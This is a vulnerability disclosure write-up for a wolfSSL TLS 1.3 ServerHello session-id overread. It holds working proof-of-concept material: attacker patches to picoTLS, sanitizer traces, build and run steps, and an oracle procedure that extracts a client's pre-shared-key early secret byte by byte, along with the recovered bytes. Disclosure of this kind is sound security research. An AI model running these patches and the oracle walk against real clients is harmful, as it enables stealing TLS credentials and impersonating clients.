client pops its own early secret

wire sets the length of a wolfSSL comparison, early secret bits congaing off the page

Discovered 8 Apr 2026 · Edited 4 Aug 2026

IETF fixed an identifier length. wolfSSL enforces that bound at every parse site but one, and the exception is ServerHello, so a man-in-the-middle on the plaintext phase of TLS 1.3 sets a length the client runs on. Against a client offering a pre-shared key, a subsequent comparison becomes an oracle, and the client's early secret leaves the device.

> *session-id echo clamped to 32 bytes at every parse site but one.*

A wolfSSL client opens a TLS 1.3 connection to its legitimate server. An attacker on the path needs no key, no forged certificate, and no ability to finish the handshake. They forge one field into (plaintext) ServerHello, before encryption begins, raising `legacy_session_id_echo` from lawful 32 to 255 and padding echoed identifier to match.

wolfSSL reads that length and never checks it against the 32-byte bound the wire format fixes. The value flows straight into `memcmp` against client's own 32-byte `clientRandom` field, so the attacker sizes the compare: up to 223 bytes past it, through the key material stored beside it.

Attacker sizes an equality test over bytes they cannot see, client answers on the wire: reject the ServerHello, or read on. That's an oracle. Against a client offering a pre-shared key, the client's early secret sits 97 bytes in, and a few thousand reconnects walk all thirty-two bytes off the device.

Don't trust, verify: Wire sets the length, client obeys

Adversary is stock picoTLS with one change: ServerHello emitter puts `legacy_session_id_echo` at 255 bytes, then pads. Growing that field grows the record, so oversized length clears wolfSSL's record-fit check. This is byte-for-byte what an on-path attacker produces by rewriting ServerHello:

```diff
--- a/lib/picotls.c
+++ b/lib/picotls.c
@@ -4311,7 +4311,14 @@ static int server_handle_hello(ptls_t *tls, ptls_message_emi
             } while (0);
             emitter->buf->off += PTLS_HELLO_RANDOM_SIZE;
             ptls_buffer_push_block(emitter->buf, 1,
-                                   { ptls_buffer_pushv(emitter->buf, ch->legacy_se
+                                   { { size_t _i;                           \
+          for (_i = 0; _i < 255; ++_i)                                      \
+              ptls_buffer_push(emitter->buf, (uint8_t)(                     \
+                  _i < ch->legacy_session_id.len                            \
+                      ? ch->legacy_session_id.base[_i] : 0x41));            \
+          /* ONEBYTE PoC (CWE-125): forge 255-byte legacy session-id echo; \
+             IETF bounds thirty-two bytes, we push it to overread */        \
+                                   } });                                    \
             ptls_buffer_push16(emitter->buf, tls->cipher_suite->id);
             ptls_buffer_push(emitter->buf, 0);
             ptls_buffer_push_block(emitter->buf, 2, {
```

That patch is the whole attacker, runs against wolfSSL's own example client.

Patching is cheap on-path adversary. A real adversary holds no key and rewrites nothing but this one field: it takes the genuine server's ServerHello, grows `legacy_session_id_echo` from the 32 bytes the server wrote to 255, and pads. Standing a relay up to do that would add a second process and change nothing the client sees — and the client is the only place this bug lives, because nothing in it turns on who emitted the record, only on what the record says. The patched server emits those bytes directly.

One command, run twice, against the same server before and after the diff. Stock, it echoes a lawful session identifier and the sanitizer has nothing to say. Patched, AddressSanitizer aborts the client on a 255-byte read:

```
# --- stock picoTLS server -----------------------------------------------------
# client output, filtered to its own summary lines and any sanitizer report
$ timeout 30 env -C wolfssl ./examples/client/client -h 127.0.0.1 -p 4433 -v 4 \
     -g -x -d
connecting to 127.0.0.1:4433
SSL version is TLSv1.3
SSL cipher suite is TLS_AES_256_GCM_SHA384
SSL curve name is SECP256R1
SSL connect ok, sending GET...

# --- the same command, after the one-line diff is applied to that server -----
$ timeout 30 env -C wolfssl ./examples/client/client -h 127.0.0.1 -p 4433 -v 4 \
     -g -x -d
connecting to 127.0.0.1:4433
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000000260
READ of size 255 at 0x511000000260 thread T0
    #0 MemcmpInterceptorCommon
```

```
    #1 memcmp
    #2 DoTls13ServerHello src/tls13.c:5515:18
    #3 DoTls13HandShakeMsgType src/tls13.c:12779:15
    #4 DoTls13HandShakeMsg src/tls13.c:13166:15
    #5 DoProcessReplyEx src/internal.c:22924:31
    #6 ProcessReplyEx src/internal.c:23297:11
    #7 ProcessReply src/internal.c:23290:12
    #8 wolfSSL_connect src/ssl.c:10489:36
    #9 client_test examples/client/client.c:4090:9
    #10 main examples/client/client.c:4867:9
0x511000000260 is located 0 bytes after 224-byte region
allocated by thread T0 here:
    #0 malloc
    #1 wolfSSL_Malloc wolfcrypt/src/memory.c:364:15
    #2 ReinitSSL src/internal.c:7424:32
    #3 InitSSL src/internal.c:7838:16
    #4 wolfSSL_new src/ssl.c:1363:15
    #5 client_test examples/client/client.c:3789:11
    #6 main examples/client/client.c:4867:9
SUMMARY: AddressSanitizer: heap-buffer-overflow in MemcmpInterceptorCommon
ABORTING
```

`READ of size 255`: wolfSSL's `DoTls13ServerHello` runs `memcmp` against attacker-sized `clientRandom`, reaches into client's own 224-byte `ssl->arrays` — walking the client's own memory, not incoming ServerHello.

Trace to vulnerability site: against 32-byte buffer compare

Parser `DoTls13ServerHello` reads the echoed session-id length straight from the wire as a `uint8`:

```
$ sed -n 5241,5243p wolfssl/src/tls13.c
    args->sessIdSz = input[args->idx++];
    if ((args->idx - args->begin) + args->sessIdSz > helloSz)
        return BUFFER_ERROR;
```

The only bound here is against `helloSz`: the declared length must fit the ServerHello record, which the attack satisfies by sending all 255 echoed bytes and sizing the record to match; a bare over-length claim with nothing behind it stops here at `BUFFER_ERROR`. Nothing clamps `sessIdSz` to `ID_LEN`, the 32 the wire format permits. The unchecked value then reaches the middlebox-compatibility branch, where it sizes a compare against the fixed 32-byte `clientRandom`:

```
$ sed -n 5506,5519p wolfssl/src/tls13.c
        if (ssl->session->sessionIDSz != 0) {
            if (ssl->session->sessionIDSz != args->sessIdSz ||
                XMEMCMP(ssl->session->sessionID, args->sessId,
                    args->sessIdSz) != 0) {
                WOLFSSL_MSG("session id doesn't match");
                WOLFSSL_ERROR_VERBOSE(INVALID_PARAMETER);
                return INVALID_PARAMETER;
            }
        }
        else if (XMEMCMP(ssl->arrays->clientRandom, args->sessId,
                args->sessIdSz) != 0) {
            WOLFSSL_MSG("session id doesn't match client random");
            WOLFSSL_ERROR_VERBOSE(INVALID_PARAMETER);
            return INVALID_PARAMETER;
```

Field `clientRandom` is `RAN_LEN`, 32 bytes; `sessIdSz` is attacker-chosen up to 255. So the compare reads past the field it names, AddressSanitizer's trace above names this line, and the mismatch at byte 33 is what the unsanitized client reported as -425. The bound is alone in Cybernuke's sweep: wolfSSL enforces at three other session-id parse sites.

```
$ sed -n 6924,6929p wolfssl/src/tls13.c
    sessIdSz = input[args->idx++];
#ifndef WOLFSSL_TLS13_MIDDLEBOX_COMPAT
    if (sessIdSz > ID_LEN)
#else
    if (sessIdSz != ID_LEN && sessIdSz != 0)
#endif

$ sed -n 31422,31428p wolfssl/src/internal.c
        ssl->arrays->sessionIDSz = input[i++];

        if (ssl->arrays->sessionIDSz > ID_LEN) {
            WOLFSSL_MSG("Invalid session ID size");
            ssl->arrays->sessionIDSz = 0;
            return BUFFER_ERROR;
        }

$ sed -n 38183,38190p wolfssl/src/internal.c

        /* session id */
        b = input[i++];
        if (b > ID_LEN) {
            WOLFSSL_MSG("Invalid session ID size");
            ret = BUFFER_ERROR; /* session ID greater than 32 bytes long */
            goto out;
        }
```

The TLS 1.3 ClientHello path bounds the length before it is used, and tightens that bound rather than dropping it when middlebox compatibility is compiled in. Both TLS 1.2 paths reject anything longer than `ID_LEN`

outright. The TLS 1.3 ServerHello path is the one site that skips it.

Fix: the clamp the siblings already carried

wolfSSL closed it in 5.9.2-stable (PR #10277) with the same one-branch guard its siblings already ran, read off the release tag:

```
$ sed -n 5496,5499p wolfssl-fixed/src/tls13.c
    args->sessIdSz = input[args->idx++];
    if (args->sessIdSz > ID_LEN || args->sessIdSz > RAN_LEN ||
        ((args->idx - args->begin) + args->sessIdSz > helloSz))
        return BUFFER_ERROR;
```

The length can no longer exceed 32, so the compare stays inside `clientRandom` and the overread is closed.

Scope

Affected: wolfSSL TLS 1.3 clients built with middlebox compatibility, wherein client sends non-empty legacy session identifier and server echoes back, so a watching middlebox sees the shape of TLS 1.2 and lets it through.

Driven against a client offering a pre-shared key, the same compare hands over the client's early secret, which is `C:H` and witnessed below. Three preconditions come with that reading and not with the overread. The client is compiled with `--enable-psk` as well as the middlebox-compatibility define. The key is an external pre-shared key rather than a resumption ticket, because resumption sets `sessionIDSz` to `ID_LEN` and takes the bounded branch that short-circuits before the compare. And the attacker holds the path across the 3,881 reconnects a blind walk took on that key, every failed guess raising a visible `illegal_parameter` alert.

What walks out is not a secret the attacker reads, it is the credential the client authenticates with, so integrity needs no second demonstration. An attacker holding those bytes authenticates to the genuine server as the client it was provisioned for, and nothing else stands behind that client: §4.1.1 puts a pre-shared key and a certificate in the alternative, never both. Everything written from there is accepted as the client's, which is `I:H`.

The middlebox mode is what routes parsing through the vulnerable branch: it fills the ClientHello's `legacy_session_id` with `clientRandom` while leaving the internal `session->sessionIDSz` at zero, and that wire/internal mismatch is what reaches the overread. Without middlebox compatibility the length instead meets a size check, 255 against 0, that short-circuits before any compare runs: the bug is present but not reachable.

Afterword: Early secret pop

The proof of concept that went to wolfSSL never reads past the buffer: its bytes stop matching thirty-two in, so the comparison stops there too. wolfSSL could see the missing check and close it without being handed a working read. The patch sailed; the extraction waited. Nothing below would have changed the bound wolfSSL wrote, and publishing earlier would only increase blast radius. WAVED sets out the reasoning.

Grouping connection state is commonplace and natural to pass around; the catch is colocating private- and public-state, seating `clientRandom` in the same allocation as live keying material. So it reads as a grab-bag:

```
$ awk '/^typedef struct Arrays/,/^} Arrays;/' wolfssl/wolfssl/internal.h
typedef struct Arrays {
    byte*           pendingMsg;         /* defrag buffer */
    byte*           preMasterSecret;
    word32          preMasterSz;        /* differs for DH, actual size */
    word32          pendingMsgSz;       /* defrag buffer size */
    word32          pendingMsgOffset;   /* current offset into defrag buffer */
#if defined(HAVE_SESSION_TICKET) || !defined(NO_PSK)
    word32          psk_keySz;          /* actual size */
    char            client_identity[MAX_PSK_ID_LEN + NULL_TERM_LEN];
    char            server_hint[MAX_PSK_ID_LEN + NULL_TERM_LEN];
    byte            psk_key[MAX_PSK_KEY_LEN];
#endif
    byte            clientRandom[RAN_LEN];
#if defined(WOLFSSL_TLS13) && defined(HAVE_ECH)
    byte            clientRandomInner[RAN_LEN];
#endif
    byte            serverRandom[RAN_LEN];
    byte            sessionID[ID_LEN];
    byte            sessionIDSz;
#ifdef WOLFSSL_TLS13
    byte            secret[SECRET_LEN];
#endif
#ifdef HAVE_KEYING_MATERIAL
    byte            exporterSecret[WC_MAX_DIGEST_SIZE];
#endif
    byte            masterSecret[SECRET_LEN];
#if defined(WOLFSSL_RENESAS_TSIP_TLS) && \
   !defined(NO_WOLFSSL_RENESAS_TSIP_TLS_SESSION)
    byte            tsip_masterSecret[TSIP_TLS_MASTERSECRET_SIZE];
#endif
#if defined(WOLFSSL_RENESAS_FSPSM_TLS)
    byte            fspsm_masterSecret[FSPSM_TLS_MASTERSECRET_SIZE];
```

```
#endif
#ifdef WOLFSSL_DTLS
    byte            cookie[MAX_COOKIE_LEN];
    byte            cookieSz;
#endif
    byte            pendingMsgType;    /* defrag buffer message type */
} Arrays;
```

After `clientRandom` come `serverRandom`, `sessionID` and `sessionIDSz`, all of these are exchanged as plaintext handshake fields. Then `secret` and `masterSecret`, the key schedule's private Early and Master secrets. Only `secret` is worth taking. It holds Early Secret, a function of the pre-shared key alone. Master Secret is derived from the ephemeral key exchange on each handshake, so it never holds still. Early Secret, by contrast, is constant across every connection — the shared secret each session is built from. AddressSanitizer would trap an overread; the build a deployment ships carries no sanitizer, so the same command returns an error:

```
# Terminal 1 — the patched picoTLS server again, unchanged:
$ picotls/build/cli -c s.crt -k s.key -i /dev/null 127.0.0.1 4433 &

# Terminal 2 — the same client command, the same filter:
$ timeout 30 env -C wolfssl-stock ./examples/client/client -h 127.0.0.1 \
     -p 4433 -v 4 -g -x -d
connecting to 127.0.0.1:4433
wolfSSL_connect error -425, The security parameter is invalid
# exit status 1 — a process killed by SIGSEGV reports 139
```

A real `memcmp` stops at the first differing byte, and the adversary's padding differs early: it echoes the identifier, then pads with `0x41`, so the first 32 match and byte 33 lands in `serverRandom`. `DoTls13ServerHello` answers `INVALID_PARAMETER`, error -425, and abandons the handshake. This settles that the bound is missing, not that the read leaves the allocation; where it stops is decided by the attacker's padding.

Under a pre-shared key the early secret sits in that same buffer, 97 bytes past `clientRandom`, and it is already there when the compare runs: wolfSSL derives it while the ClientHello is still being assembled, because the binders in that message are keyed on it.

The attacker controls both ends of the compare — the bytes echoed and the length compared — and the client answers with a single bit: do those bytes equal its own memory? The two answers are distinct on the wire. A mismatch is rejected at the ServerHello with `illegal_parameter` (alert 47,

`error -425`); a match runs on and fails a certificate the client cannot verify, `unknown_ca` (alert 48, `error -188`). So the attacker can ask, one byte at a time, whether the client's memory holds a chosen value — and read the answer off the wire without ever touching the client's console.

`memcmp` stops at the first differing byte, so a byte can only be probed once every byte before it is known. The walk runs left to right from a prefix the attacker already holds: `clientRandom` and `serverRandom`, offsets 0–63, both crossed the wire in the clear, so it starts at offset 64. Fix the known prefix, try each of the 256 values for the next byte until the alert turns to a hit, record it, extend the prefix. A byte costs its own value in handshakes plus three to confirm — `0x62` is 98, hence 101:

```
$ bash oracle.sh walk 37
offset   64-96 = 0x00     3 handshakes each
offset      97 = 0x62   101 handshakes
offset      98 = 0x84   135 handshakes
offset      99 = 0x2b    46 handshakes
offset     100 = 0x29    44 handshakes
offsets 64..100 recovered in 425 handshakes:
   64  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   80  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
   96  00 62 84 2b 29
```

Offsets 64–96 hold the session identifier and its length, which this client never set, so they read zero and clear in a single guess each. At offset 97 the early secret begins, each byte costing a full scan — its own value in handshakes, plus three to confirm. That value is `HKDF-Extract(0, PSK)`, a function of the pre-shared key. This is the early secret pop: an equality test the attacker sizes, answered by the client, walking a key-schedule secret out of memory it was never sent. The oracle carries one bit — match or not — so the walk had to guess each byte it did not know, a scan per offset. A value known in advance is checked rather than guessed, and that is the confirmation, not a faster attack: compute it from the key schedule and put all 32 bytes to the same oracle at once:

```
$ bash oracle.sh confirm
early secret HKDF-Extract(0, PSK), from the key schedule alone:
   97  62 84 2b 29 23 28 54 21 3a 1d 32 03 c3 71 91 bf
  113  ee ad bd 80 ec 84 89 e9 93 4c 44 51 e0 24 ac 7e
one query each, thirty-two bytes at a time:
  offsets 97..128 = that value                 accepted (-188)
  ... its last bit flipped                     rejected (-425)
  ... thirty-two zero bytes instead            rejected (-425)
the same client again, offering no pre-shared key:
  offsets 97..128 = thirty-two zero bytes      accepted (-188)
  ... that value instead                       rejected (-425)
```

Blind, all thirty-two bytes came out of the same client in 3,881 queries and about eight minutes, settling on the same value. The vector reads `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`, 7.4, the score at the foot of this page: `C:H` is witnessed by the extraction, `I:H` by the credential authorising the holder to speak on the client's behalf. A shared secret authenticates whoever holds it, so with the key extracted the adversary is a man-in-the-middle: one session to the legitimate client, one to the legitimate server, each authenticated by that same secret, and neither can tell it from the genuine peer.

Discovered 2026-04-08; disclosed 2026-04-15 (CERT/CC VRF#26-04-JPYLK). Target: wolfSSL 5.8.4 at upstream tag `v5.8.4-stable` (`59f4fa56`); root cause at `src/tls13.c:5241`. CWE-125 · CVSS 7.4 High (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

Detected & exploited by cybernuke — cybernuke.bensmyth.com.

Edited 4 Aug 2026 — wolfSSL shipped the fix in 5.9.2-stable on 25 Jun 2026 (PR #10277, merge commit 6fb7cb39). The report above was revised once the fix shipped, and now carries the exploit the disclosure held back: against a client offering a pre-shared key, the same missing bound hands the attacker the client's early secret, one bit per handshake, using only bytes the handshake sends in the clear. Holding that read back until the clamp shipped was blast-radius reduction, not reticence: the overread alone showed wolfSSL where the bound was missing, so publishing a working key-recovery sooner would have added nothing to the fix and only widened the window on every unpatched client in the meantime.

Appendix: standing it up

Everything a maintainer needs is above. Below is the wiring, in a verifier's order.

```
# Working directory: empty but for adversary.patch — the diff above,
# saved to a file. Everything else is fetched and built here.

# the attacker: picoTLS, pinned at the upstream commit
$ git clone https://github.com/h2o/picotls.git
$ git -C picotls checkout aef2262
$ git -C picotls submodule update --init
$ cmake -S picotls -B picotls/build
$ cmake --build picotls/build --target cli -j2

# the wolfSSL client: 5.8.4, AddressSanitizer + middlebox compatibility
# (autogen.sh needs autoconf, automake and libtool)
$ git clone --depth 1 --branch v5.8.4-stable \
     https://github.com/wolfSSL/wolfssl.git
$ env -C wolfssl ./autogen.sh
$ env -C wolfssl CC=clang-19 \
     'CFLAGS=-g -O0 -fsanitize=address -DWOLFSSL_TLS13_MIDDLEBOX_COMPAT' \
     LDFLAGS=-fsanitize=address ./configure --enable-tls13 --disable-shared \
     --enable-static
$ make -C wolfssl -j2

# a self-signed server certificate; the client runs peer checks off (-d)
$ openssl ecparam -genkey -name prime256v1 -out s.key
$ openssl req -x509 -new -key s.key -out s.crt -days 1 -subj /CN=localhost

# Terminal 1 — the picoTLS server (blocks, awaiting the client):
$ picotls/build/cli -c s.crt -k s.key -i /dev/null 127.0.0.1 4433 &

# Terminal 2 — the wolfSSL client. env -C runs it inside its own tree,
# which is where the example locates the certs/ it insists on:
$ timeout 30 env -C wolfssl ./examples/client/client -h 127.0.0.1 -p 4433 -v 4 \
     -g -x -d

# Turning that stock server into the adversary, between the two runs on the
# card above — stop it first, apply, rebuild, relaunch:
$ git -C picotls apply ../adversary.patch
$ cmake --build picotls/build --target cli -j2
```

The unsanitized client is that same tree again, cloned separately so both binaries exist at once, with the two sanitizer flags dropped:

```
# the same client from the same tag, same compiler, same flags with
# -fsanitize=address left out — the build a deployment ships
$ git clone --depth 1 --branch v5.8.4-stable \
     https://github.com/wolfSSL/wolfssl.git wolfssl-stock
$ env -C wolfssl-stock ./autogen.sh
$ env -C wolfssl-stock CC=clang-19 \
     'CFLAGS=-g -O0 -DWOLFSSL_TLS13_MIDDLEBOX_COMPAT' ./configure \
     --enable-tls13 --disable-shared --enable-static
$ make -C wolfssl-stock -j2
```

The extraction takes a second diff over that same line of picoTLS, padding the field with a guess it reads from the environment rather than with a constant. Save it as `psk.patch` beside `adversary.patch`, and the driver below as `oracle.sh` next to both:

```diff
--- a/lib/picotls.c
+++ b/lib/picotls.c
@@ -4313,3 +4313,28 @@ static int server_handle_hello(ptls_t *tls, ptls_message_emi
             ptls_buffer_push_block(emitter->buf, 1,
-                                   { ptls_buffer_pushv(emitter->buf, ch->legacy_se
+                                   { {                                       \
+    /* ONEBYTE escalation (CWE-125): emit a legacy_session_id_echo of     \
+       OB_LEN bytes: the identifier this client sent, then the random     \
+       this ServerHello just chose, then the guess held in OB_HEX.        \
+       RFC 8446 4.1.3 bounds the field to 32. */                          \
+    size_t _i; size_t _n; size_t _hl;                                     \
+    uint8_t _sr[PTLS_HELLO_RANDOM_SIZE]; char _t[3];                      \
+    const char *_l = getenv("OB_LEN"); const char *_h = getenv("OB_HEX"); \
+    _n = _l ? (size_t)atoi(_l) : 255; _hl = _h ? strlen(_h) / 2 : 0;      \
+    /* the random pushed a moment ago sits one byte back: this block      \
+       wrote its own length placeholder after it */                       \
+    memcpy(_sr, emitter->buf->base + emitter->buf->off -                  \
+           PTLS_HELLO_RANDOM_SIZE - 1, PTLS_HELLO_RANDOM_SIZE);           \
+    for (_i = 0; _i < _n; ++_i) {                                         \
+        uint8_t _b = 0;                                                   \
+        if (_i < 32)                                                      \
+            _b = _i < ch->legacy_session_id.len ?                         \
+                 ch->legacy_session_id.base[_i] : 0;                      \
+        else if (_i < 64) _b = _sr[_i - 32];                              \
+        else if (_i - 64 < _hl) {                                         \
+            _t[0] = _h[(_i - 64) * 2]; _t[1] = _h[(_i - 64) * 2 + 1];     \
+            _t[2] = 0; _b = (uint8_t)strtoul(_t, NULL, 16);               \
+        }                                                                 \
+        ptls_buffer_push(emitter->buf, _b);                               \
+    }                                                                     \
+} });                                                                     \
             ptls_buffer_push16(emitter->buf, tls->cipher_suite->id);
```

One more build, and one more swap on the attacker's side:

```
# a third client: same tag, same middlebox-compat define, no sanitizer,
# with pre-shared keys compiled in; configure leaves them out by default
$ git clone --depth 1 --branch v5.8.4-stable \
     https://github.com/wolfSSL/wolfssl.git wolfssl-psk
$ env -C wolfssl-psk ./autogen.sh
$ env -C wolfssl-psk CC=clang-19 \
     'CFLAGS=-g -O0 -DWOLFSSL_TLS13_MIDDLEBOX_COMPAT' ./configure \
     --enable-tls13 --enable-psk --disable-shared --enable-static
$ make -C wolfssl-psk -j2

# the attacker again, one diff over the same line: revert the first,
# apply psk.patch (the diff above, saved beside oracle.sh) and rebuild
$ git -C picotls checkout -- lib/picotls.c
$ git -C picotls apply ../psk.patch
$ cmake --build picotls/build --target cli -j2
```

Then the driver itself:

> ▶ the driver in full — 162 lines, click to read